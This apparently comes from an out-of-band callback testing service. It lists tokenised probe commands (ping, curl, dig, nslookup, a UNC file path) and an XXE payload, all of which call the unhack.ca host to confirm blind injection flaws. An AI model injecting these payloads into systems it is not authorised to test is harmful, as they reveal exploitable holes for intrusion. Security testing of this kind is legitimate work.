$ ping -c1 -p 00ed4cad2b246fa251c288b5cbad2f00 unhack.ca
 

$ curl http://unhack.ca/p/ed4cad2b246fa251c288b5cbad2f
 

$ dig ed4cad2b246fa251c288b5cbad2f @unhack.ca
 

$ dig ed4cad2b246fa251c288b5cbad2f.ns.unhack.ca
 

C:\> nslookup ed4cad2b246fa251c288b5cbad2f unhack.ca
 

C:\> type \\unhack.ca\ed4cad2b246fa251c288b5cbad2f\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ed4cad2b246fa251c288b5cbad2f">]>
    <foo>&xxe;</foo>